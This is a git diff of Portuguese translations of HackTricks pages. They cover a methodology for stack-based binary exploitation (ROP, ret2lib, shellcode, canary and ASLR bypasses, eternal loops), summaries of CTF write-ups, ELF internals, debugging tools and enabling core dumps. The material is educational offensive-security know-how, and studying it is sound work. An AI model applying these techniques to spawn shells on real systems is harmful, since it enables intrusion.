para ret, que atenda aos requisitos anteriores e colocando o maior endereço um novo endereço apontando para o início da pilha (vazado pelo programa) para que seja possível usar o ret para pular para lá. +* 64 bits, sem nx. Sobrescrever um tamanho para obter uma espécie de buffer overflow onde tudo vai ser usado como um número duplo e ordenado do menor para o maior, então é necessário criar um shellcode que atenda a esse requisito, levando em conta que o canário não deve ser movido de sua posição e, finalmente, sobrescrever o RIP com um endereço para ret, que atenda aos requisitos anteriores e colocando o maior endereço como um novo endereço apontando para o início da pilha (vazado pelo programa) para que seja possível usar o ret para pular lá. * [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/) -* 64 bits, sem relro, canary, nx, sem pie. Há um off-by-one em um array na pilha que permite controlar um ponteiro concedendo WWW (ele escreve a soma de todos os números do array no endereço sobrescrito pelo off-by-one no array). A pilha é controlada para que o endereço `exit` da GOT seja sobrescrito com `pop rdi; ret`, e na pilha é adicionado o endereço para `main` (voltando para `main`). Uma cadeia ROP para vazar o endereço colocado na GOT usando puts é usada (`exit` será chamado então chamará `pop rdi; ret` executando assim essa cadeia na pilha). Finalmente, uma nova cadeia ROP executando ret2lib é usada. +* 64 bits, sem relro, canário, nx, sem pie. Há um off-by-one em um array na pilha que permite controlar um ponteiro concedendo WWW (ele escreve a soma de todos os números do array no endereço sobrescrito pelo off-by-one no array). A pilha é controlada, então o endereço GOT `exit` é sobrescrito com `pop rdi; ret`, e na pilha é adicionado o endereço para `main` (voltando para `main`). Uma cadeia ROP para vazar o endereço de put na GOT usando puts é usada (`exit` será chamado, então chamará `pop rdi; ret`, portanto, executando essa cadeia na pilha). Finalmente, uma nova cadeia ROP executando ret2lib é usada. * [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html) -* 32 bits, sem relro, sem canary, nx, pie. Abusa de uma indexação ruim para vazar endereços de libc e heap da pilha. Abusa do estouro de buffer para fazer um ret2lib chamando `system('/bin/sh')` (o endereço do heap é necessário para contornar uma verificação). +* 32 bits, sem relro, sem canário, nx, pie. Abuse uma má indexação para vazar endereços de libc e heap da pilha. Abuse o buffer overflow para fazer um ret2lib chamando `system('/bin/sh')` (o endereço da heap é necessário para contornar uma verificação). diff --git a/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md index 0f63c31fb..298d0a482 100644 --- a/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md +++ b/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md @@ -9,8 +9,8 @@ Aprenda e pratique Hacking GCP: Suporte ao HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). {% endhint %} @@ -26,26 +26,26 @@ Antes de começar a explorar qualquer coisa, é interessante entender parte da e ## Ferramentas de Exploração {% content-ref url="tools/" %} -[ferramentas](tools/) +[tools](tools/) {% endcontent-ref %} -## Metodologia de Estouro de Pilha +## Metodologia de Stack Overflow Com tantas técnicas, é bom ter um esquema de quando cada técnica será útil. Note que as mesmas proteções afetarão diferentes técnicas. Você pode encontrar maneiras de contornar as proteções em cada seção de proteção, mas não nesta metodologia. ## Controlando o Fluxo -Existem diferentes maneiras de controlar o fluxo de um programa: +Existem diferentes maneiras de você acabar controlando o fluxo de um programa: -* **Estouros de Pilha** sobrescrevendo o ponteiro de retorno da pilha ou o EBP -> ESP -> EIP. -* Pode ser necessário abusar de um **Estouro de Inteiro** para causar o estouro -* Ou via **Gravação Arbitrária + Escrever Onde para Executar** -* **Strings de Formato:** Abusar do `printf` para escrever conteúdo arbitrário em endereços arbitrários. -* **Indexação de Arrays:** Abusar de uma indexação mal projetada para poder controlar alguns arrays e obter uma gravação arbitrária. -* Pode ser necessário abusar de um **Estouro de Inteiro** para causar o estouro -* **bof para WWW via ROP:** Abusar de um estouro de buffer para construir um ROP e ser capaz de obter um WWW. +* [**Stack Overflows**](../stack-overflow/) sobrescrevendo o ponteiro de retorno da pilha ou o EBP -> ESP -> EIP. +* Pode ser necessário abusar de um [**Integer Overflows**](../integer-overflow.md) para causar o overflow. +* Ou via **Arbitrary Writes + Write What Where to Execution**. +* [**Format strings**](../format-strings/)**:** Abuse `printf` para escrever conteúdo arbitrário em endereços arbitrários. +* [**Array Indexing**](../array-indexing.md): Abuse de um indexação mal projetada para conseguir controlar alguns arrays e obter uma escrita arbitrária. +* Pode ser necessário abusar de um [**Integer Overflows**](../integer-overflow.md) para causar o overflow. +* **bof para WWW via ROP**: Abuse de um buffer overflow para construir um ROP e conseguir obter um WWW. -Você pode encontrar as técnicas de **Escrever Onde para Executar** em: +Você pode encontrar as técnicas de **Write What Where to Execution** em: {% content-ref url="../arbitrary-write-2-exec/" %} [arbitrary-write-2-exec](../arbitrary-write-2-exec/) @@ -53,69 +53,85 @@ Você pode encontrar as técnicas de **Escrever Onde para Executar** em: ## Laços Eternos -Algo a se ter em conta é que geralmente **apenas uma exploração de uma vulnerabilidade pode não ser suficiente** para executar um exploit com sucesso, especialmente algumas proteções precisam ser contornadas. Portanto, é interessante discutir algumas opções para **tornar uma única vulnerabilidade explorável várias vezes** na mesma execução do binário: +Algo a ser levado em conta é que geralmente **apenas uma exploração de uma vulnerabilidade pode não ser suficiente** para executar um exploit bem-sucedido, especialmente algumas proteções precisam ser contornadas. Portanto, é interessante discutir algumas opções para **tornar uma única vulnerabilidade explorável várias vezes** na mesma execução do binário: -* Escrever em uma cadeia **ROP** o endereço da função **`main`** ou para o endereço onde a **vulnerabilidade** está ocorrendo. -* Controlando uma cadeia ROP adequada, você pode ser capaz de realizar todas as ações nessa cadeia -* Escrever no endereço **`exit` em GOT** (ou em qualquer outra função usada pelo binário antes de terminar) o endereço para voltar à **vulnerabilidade** -* Como explicado em [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop)**,** armazene 2 funções aqui, uma para chamar a vulnerabilidade novamente e outra para chamar**`__libc_csu_fini`** que chamará novamente a função de `.fini_array`. +* Escrever em uma cadeia **ROP** o endereço da **função `main`** ou o endereço onde a **vulnerabilidade** está ocorrendo. +* Controlando uma cadeia ROP adequada, você pode ser capaz de realizar todas as ações nessa cadeia. +* Escrever no **endereço `exit` no GOT** (ou qualquer outra função usada pelo binário antes de terminar) o endereço para voltar **à vulnerabilidade**. +* Como explicado em [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** armazene 2 funções aqui, uma para chamar a vulnerabilidade novamente e outra para chamar **`__libc_csu_fini`** que chamará novamente a função de `.fini_array`. ## Objetivos de Exploração ### Objetivo: Chamar uma Função Existente -* [**ret2win**](./#ret2win): Existe uma função no código que você precisa chamar (talvez com alguns parâmetros específicos) para obter a flag. +* [**ret2win**](./#ret2win): Há uma função no código que você precisa chamar (talvez com alguns parâmetros específicos) para obter a flag. * Em um **bof regular sem** [**PIE**](../common-binary-protections-and-bypasses/pie/) **e** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), você só precisa escrever o endereço no endereço de retorno armazenado na pilha. -* Em um bof com [**PIE**](../common-binary-protections-and-bypasses/pie/), você precisará contorná-lo -* Em um bof com [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), você precisará contorná-lo +* Em um bof com [**PIE**](../common-binary-protections-and-bypasses/pie/), você precisará contorná-lo. +* Em um bof com [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), você precisará contorná-lo. * Se você precisar definir vários parâmetros para chamar corretamente a função **ret2win**, você pode usar: -* Uma cadeia [**ROP**](./#rop-and-ret2...-techniques) **se houver gadgets suficientes** para preparar todos os parâmetros -* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (caso possa chamar essa chamada de sistema) para controlar muitos registradores -* Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) e [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) para controlar vários registradores -* Através de um [**Escrever Onde para Executar**](../arbitrary-write-2-exec/) você poderia abusar de outras vulnerabilidades (não bof) para chamar a função **`win`**. -* [**Redirecionamento de Ponteiros**](../stack-overflow/pointer-redirecting.md): Caso a pilha contenha ponteiros para uma função que será chamada ou para uma string que será usada por uma função interessante (system ou printf), é possível sobrescrever esse endereço. +* Uma cadeia [**ROP**](./#rop-and-ret2...-techniques) **se houver gadgets suficientes** para preparar todos os parâmetros. +* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (caso você possa chamar essa syscall) para controlar muitos registradores. +* Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) e [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) para controlar vários registradores. +* Via um [**Write What Where**](../arbitrary-write-2-exec/), você poderia abusar de outras vulnerabilidades (não bof) para chamar a função **`win`**. +* [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Caso a pilha contenha ponteiros para uma função que será chamada ou para uma string que será usada por uma função interessante (system ou printf), é possível sobrescrever esse endereço. * [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ou [**PIE**](../common-binary-protections-and-bypasses/pie/) podem afetar os endereços. -* [**Variáveis não inicializadas**](../stack-overflow/uninitialized-variables.md): Você nunca sabe. +* [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): Você nunca sabe. ### Objetivo: RCE #### Via shellcode, se nx desativado ou misturando shellcode com ROP: * [**(Stack) Shellcode**](./#stack-shellcode): Isso é útil para armazenar um shellcode na pilha antes ou depois de sobrescrever o ponteiro de retorno e então **pular para ele** para executá-lo: -* **De qualquer forma, se houver um** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** em um bof regular você precisará contorná-lo (vazar) -* **Sem** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) é possível pular para o endereço da pilha, pois ele nunca mudará -* **Com** [**ASLR**](../common-binary-protections-and-bypasses/aslr/), você precisará de técnicas como [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) para pular para ele -* **Com** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), você precisará usar algum [**ROP**](../rop-return-oriented-programing/) **para chamar `memprotect`** e tornar alguma página `rwx`, para então **armazenar o shellcode lá** (chamando read, por exemplo) e então pular para lá. +* **Em qualquer caso, se houver um** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** em um bof regular você precisará contorná-lo (leak). +* **Sem** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), é possível pular para o endereço da pilha, pois ele nunca mudará. +* **Com** [**ASLR**](../common-binary-protections-and-bypasses/aslr/), você precisará de técnicas como [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) para pular para ele. +* **Com** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), você precisará usar algum [**ROP**](../rop-return-oriented-programing/) **para chamar `memprotect`** e tornar alguma página `rwx`, a fim de então **armazenar o shellcode lá** (chamando read, por exemplo) e depois pular para lá. * Isso misturará shellcode com uma cadeia ROP. + #### Via syscalls * [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Útil para chamar `execve` para executar comandos arbitrários. Você precisa ser capaz de encontrar os **gadgets para chamar a syscall específica com os parâmetros**. * Se [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ou [**PIE**](../common-binary-protections-and-bypasses/pie/) estiverem habilitados, você precisará derrotá-los **para usar gadgets ROP** do binário ou bibliotecas. -* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) pode ser útil para preparar o **ret2execve** -* Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) e [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) para controlar vários registradores +* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) pode ser útil para preparar o **ret2execve**. +* Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) e [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) para controlar vários registradores. #### Via libc -* [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Útil para chamar uma função de uma biblioteca (geralmente de **`libc`**) como **`system`** com alguns argumentos preparados (por exemplo, `'/bin/sh'`). Você precisa que o binário **carregue a biblioteca** com a função que deseja chamar (geralmente libc). +* [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Útil para chamar uma função de uma biblioteca (geralmente de **`libc`**) como **`system`** com alguns argumentos preparados (por exemplo, `'/bin/sh'`). Você precisa que o binário **carregue a biblioteca** com a função que você gostaria de chamar (libc geralmente). * Se **compilado estaticamente e sem** [**PIE**](../common-binary-protections-and-bypasses/pie/), o **endereço** de `system` e `/bin/sh` não vão mudar, então é possível usá-los estaticamente. -* **Sem** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e conhecendo a versão da libc** carregada, o **endereço** de `system` e `/bin/sh` não vão mudar, então é possível usá-los estaticamente. -* Com [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **mas sem** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, conhecendo a libc e com o binário usando a função `system`** é possível **`ret` para o endereço do system no GOT** com o endereço de `'/bin/sh'` no parâmetro (você precisará descobrir isso). -* Com [ASLR](../common-binary-protections-and-bypasses/aslr/) mas sem [PIE](../common-binary-protections-and-bypasses/pie/), conhecendo a libc e **sem o binário usando o `system`** : -* Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) para resolver o endereço de `system` e chamá-lo -* **Burlar** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) e calcular o endereço de `system` e `'/bin/sh'` na memória. -* **Com** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e** [**PIE**](../common-binary-protections-and-bypasses/pie/) **e sem conhecer a libc**: Você precisa: -* Burlar [**PIE**](../common-binary-protections-and-bypasses/pie/) -* Encontrar a **versão da libc** usada (vazar alguns endereços de função) +* **Sem** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e sabendo a versão da libc** carregada, o **endereço** de `system` e `/bin/sh` não vão mudar, então é possível usá-los estaticamente. +* Com [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **mas sem** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, sabendo a libc e com o binário usando a função `system`**, é possível **`ret` para o endereço de system no GOT** com o endereço de `'/bin/sh'` no parâmetro (você precisará descobrir isso). +* Com [ASLR](../common-binary-protections-and-bypasses/aslr/) mas sem [PIE](../common-binary-protections-and-bypasses/pie/), sabendo a libc e **sem o binário usar a função `system`**: +* Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) para resolver o endereço de `system` e chamá-lo. +* **Contorne** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) e calcule o endereço de `system` e `'/bin/sh'` na memória. +* **Com** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e** [**PIE**](../common-binary-protections-and-bypasses/pie/) **e não sabendo a libc**: Você precisa: +* Contornar [**PIE**](../common-binary-protections-and-bypasses/pie/). +* Encontrar a **versão da `libc`** usada (leak de alguns endereços de função). * Verificar os **cenários anteriores com ASLR** para continuar. #### Via EBP/RBP -* [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Controlar o ESP para controlar o RET através do EBP armazenado na pilha. -* Útil para **estouros de pilha off-by-one** -* Útil como uma maneira alternativa de controlar o EIP enquanto abusa do EIP para construir a carga na memória e então pular para ela via EBP +* [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Controle o ESP para controlar RET através do EBP armazenado na pilha. +* Útil para **off-by-one** stack overflows. +* Útil como uma maneira alternativa de acabar controlando EIP enquanto abusa de EIP para construir o payload na memória e então pulando para ele via EBP. -#### Misc +#### Diversos -* [**Redirecionamento de Ponteiros**](../stack-overflow/pointer-redirecting.md): Caso a pilha contenha ponteiros para uma função que será chamada ou para uma string que será usada por uma função interessante (system ou printf), é possível sobrescrever esse endereço. +* [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Caso a pilha contenha ponteiros para uma função que será chamada ou para uma string que será usada por uma função interessante (system ou printf), é possível sobrescrever esse endereço. * [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ou [**PIE**](../common-binary-protections-and-bypasses/pie/) podem afetar os endereços. -* [**Variáveis não inicializadas**](../stack-overflow/uninitialized-variables.md): Você nunca sabe +* [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): Você nunca sabe. + +{% hint style="success" %} +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Suporte ao HackTricks + +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). + +
+{% endhint %} diff --git a/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md b/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md index 9dfeff791..116844684 100644 --- a/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md +++ b/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md @@ -6,11 +6,11 @@ Aprenda e pratique Hacking GCP: -Suporte ao HackTricks +Supporte o HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). {% endhint %} @@ -327,17 +327,17 @@ Por exemplo, qualquer seção do tipo `R_AARCH64_RELATIV` deve ter modificado o ### Relocações Dinâmicas e GOT -A relocação também pode referenciar um símbolo externo (como uma função de uma dependência). Como a função malloc da libC. Então, o carregador ao carregar a libC em um endereço verificando onde a função malloc está carregada, escreverá esse endereço na tabela GOT (Global Offset Table) (indicado na tabela de relocação) onde o endereço de malloc deve ser especificado. +A relocação também pode referenciar um símbolo externo (como uma função de uma dependência). Como a função malloc da libC. Então, o carregador ao carregar a libC em um endereço verificando onde a função malloc está carregada, escreverá esse endereço na tabela GOT (Global Offset Table) (indicada na tabela de relocação) onde o endereço de malloc deve ser especificado. ### Tabela de Ligação de Procedimentos A seção PLT permite realizar vinculação preguiçosa, o que significa que a resolução da localização de uma função será realizada na primeira vez que for acessada. -Assim, quando um programa chama malloc, ele na verdade chama a localização correspondente de `malloc` no PLT (`malloc@plt`). Na primeira vez que é chamado, resolve o endereço de `malloc` e o armazena, então na próxima vez que `malloc` for chamado, esse endereço é usado em vez do código PLT. +Assim, quando um programa chama malloc, na verdade chama a localização correspondente de `malloc` na PLT (`malloc@plt`). Na primeira vez que é chamada, resolve o endereço de `malloc` e o armazena para que na próxima vez que `malloc` for chamada, esse endereço seja usado em vez do código PLT. ## Inicialização do Programa -Depois que o programa foi carregado, é hora de ele ser executado. No entanto, o primeiro código que é executado **não é sempre a função `main`**. Isso ocorre porque, por exemplo, em C++ se uma **variável global é um objeto de uma classe**, esse objeto deve ser **inicializado** **antes** que a main seja executada, como em: +Depois que o programa foi carregado, é hora de ele ser executado. No entanto, o primeiro código que é executado **não é sempre a função `main`**. Isso ocorre porque, por exemplo, em C++, se uma **variável global é um objeto de uma classe**, esse objeto deve ser **inicializado** **antes** que a main seja executada, como em: ```cpp #include // g++ autoinit.cpp -o autoinit @@ -390,7 +390,7 @@ Quando isso é usado, as seções **`.tdata`** e **`.tbss`** são usadas no ELF. Cada variável terá uma entrada no cabeçalho TLS especificando o tamanho e o deslocamento TLS, que é o deslocamento que será usado na área de dados local da thread. -O `__TLS_MODULE_BASE` é um símbolo usado para se referir ao endereço base do armazenamento local de thread e aponta para a área na memória que contém todos os dados locais da thread de um módulo. +O `__TLS_MODULE_BASE` é um símbolo usado para se referir ao endereço base do armazenamento local de thread e aponta para a área na memória que contém todos os dados locais de thread de um módulo. {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md b/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md index 09a4eb710..245ce5439 100644 --- a/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md +++ b/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md @@ -167,7 +167,7 @@ gef➤ bt ### Encontrar deslocamento da pilha **Ghidra** é muito útil para encontrar o **deslocamento** para um **buffer overflow graças às informações sobre a posição das variáveis locais.**\ -Por exemplo, no exemplo abaixo, um fluxo de buffer em `local_bc` indica que você precisa de um deslocamento de `0xbc`. Além disso, se `local_10` for um cookie canário, isso indica que para sobrescrevê-lo a partir de `local_bc` há um deslocamento de `0xac`.\ +Por exemplo, no exemplo abaixo, um fluxo de buffer em `local_bc` indica que você precisa de um deslocamento de `0xbc`. Além disso, se `local_10` for um canary cookie, isso indica que para sobrescrevê-lo a partir de `local_bc` há um deslocamento de `0xac`.\ &#xNAN;_Remember que os primeiros 0x08 de onde o RIP é salvo pertencem ao RBP._ ![](<../../../.gitbook/assets/image (1061).png>) @@ -191,7 +191,7 @@ Get every opcode executed in the program. ## Objdump -**-d** --> **Desmontar seções** executáveis (ver opcodes de um shellcode compilado, encontrar ROP Gadgets, encontrar endereço de função...)\ +**-d** --> **Desmontar** seções executáveis (ver opcodes de um shellcode compilado, encontrar ROP Gadgets, encontrar endereço de função...)\ &#xNAN;**-Mintel** --> **Sintaxe** Intel\ &#xNAN;**-t** --> Tabela de **Símbolos**\ &#xNAN;**-D** --> **Desmontar tudo** (endereço de variável estática)\ @@ -208,7 +208,7 @@ Get every opcode executed in the program. 2. Execute `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 3. sudo gdb --core=\ --quiet -## More +## Mais **ldd executable | grep libc.so.6** --> Endereço (se ASLR, então isso muda toda vez)\ **for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop para ver se o endereço muda muito\ @@ -231,7 +231,7 @@ Dentro da pasta IDA, você pode encontrar binários que podem ser usados para de ``` ./linux_server64 -Ppass ``` -Então, configure o depurador: Debugger (linux remote) --> Proccess options...: +Então, configure o depurador: Debugger (linux remote) --> Opções de processo...: ![](<../../../.gitbook/assets/image (858).png>) @@ -245,7 +245,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} diff --git a/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md b/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md index 70559bf09..cceb75f4e 100644 --- a/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md +++ b/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md @@ -168,7 +168,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} diff --git a/binary-exploitation/common-binary-protections-and-bypasses/README.md b/binary-exploitation/common-binary-protections-and-bypasses/README.md index b0e28adf8..578c09e94 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/README.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/README.md @@ -1,55 +1,55 @@ -# Proteções Comuns e Formas de Bypass na Exploração Binária +# Proteções e Bypasses Comuns de Exploração Binária {% hint style="success" %} -Aprenda e pratique Hacking na AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking no GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo no Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo no telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} -## Habilitar Arquivos Core +## Habilitar arquivos de Core -**Arquivos Core** são um tipo de arquivo gerado por um sistema operacional quando um processo falha. Esses arquivos capturam a imagem da memória do processo falho no momento de sua terminação, incluindo a memória do processo, registradores e estado do contador de programa, entre outros detalhes. Essa captura pode ser extremamente valiosa para depuração e compreensão do motivo da falha. +**Arquivos de Core** são um tipo de arquivo gerado por um sistema operacional quando um processo falha. Esses arquivos capturam a imagem de memória do processo que falhou no momento de sua terminação, incluindo a memória do processo, registradores e o estado do contador de programa, entre outros detalhes. Essa captura pode ser extremamente valiosa para depuração e compreensão do motivo da falha. -### **Habilitar a Geração de Despejos de Core** +### **Habilitando a Geração de Core Dumps** -Por padrão, muitos sistemas limitam o tamanho dos arquivos core para 0 (ou seja, não geram arquivos core) para economizar espaço em disco. Para habilitar a geração de arquivos core, você pode usar o comando **`ulimit`** (no bash ou shells similares) ou configurar as configurações em todo o sistema. +Por padrão, muitos sistemas limitam o tamanho dos arquivos de core a 0 (ou seja, não geram arquivos de core) para economizar espaço em disco. Para habilitar a geração de arquivos de core, você pode usar o comando **`ulimit`** (no bash ou shells semelhantes) ou configurar as definições do sistema. -* **Usando ulimit**: O comando `ulimit -c unlimited` permite que a sessão do shell atual crie arquivos core de tamanho ilimitado. Isso é útil para sessões de depuração, mas não é persistente entre reinicializações ou novas sessões. +* **Usando ulimit**: O comando `ulimit -c unlimited` permite que a sessão de shell atual crie arquivos de core de tamanho ilimitado. Isso é útil para sessões de depuração, mas não é persistente entre reinicializações ou novas sessões. ```bash ulimit -c unlimited ``` -* **Configuração Persistente**: Para uma solução mais permanente, você pode editar o arquivo `/etc/security/limits.conf` para incluir uma linha como `* soft core unlimited`, que permite a todos os usuários gerar arquivos core de tamanho ilimitado sem precisar definir ulimit manualmente em suas sessões. +* **Configuração Persistente**: Para uma solução mais permanente, você pode editar o arquivo `/etc/security/limits.conf` para incluir uma linha como `* soft core unlimited`, que permite que todos os usuários gerem arquivos de core de tamanho ilimitado sem precisar definir ulimit manualmente em suas sessões. ```markdown * soft core unlimited ``` -### **Analisando Arquivos Core com GDB** +### **Analisando Arquivos de Core com GDB** -Para analisar um arquivo core, você pode usar ferramentas de debug como o GDB (GNU Debugger). Supondo que você tenha um executável que gerou um despejo core e o arquivo core seja chamado `core_file`, você pode iniciar a análise com: +Para analisar um arquivo de core, você pode usar ferramentas de depuração como o GDB (GNU Debugger). Supondo que você tenha um executável que produziu um core dump e o arquivo de core é nomeado `core_file`, você pode iniciar a análise com: ```bash gdb /path/to/executable /path/to/core_file ``` -Este comando carrega o executável e o arquivo core no GDB, permitindo que você inspecione o estado do programa no momento do crash. Você pode usar comandos do GDB para explorar a pilha, examinar variáveis e entender a causa do crash. +Este comando carrega o executável e o arquivo de core no GDB, permitindo que você inspecione o estado do programa no momento da falha. Você pode usar comandos do GDB para explorar a pilha, examinar variáveis e entender a causa da falha. {% hint style="success" %} -Aprenda e pratique Hacking AWS: [**Treinamento 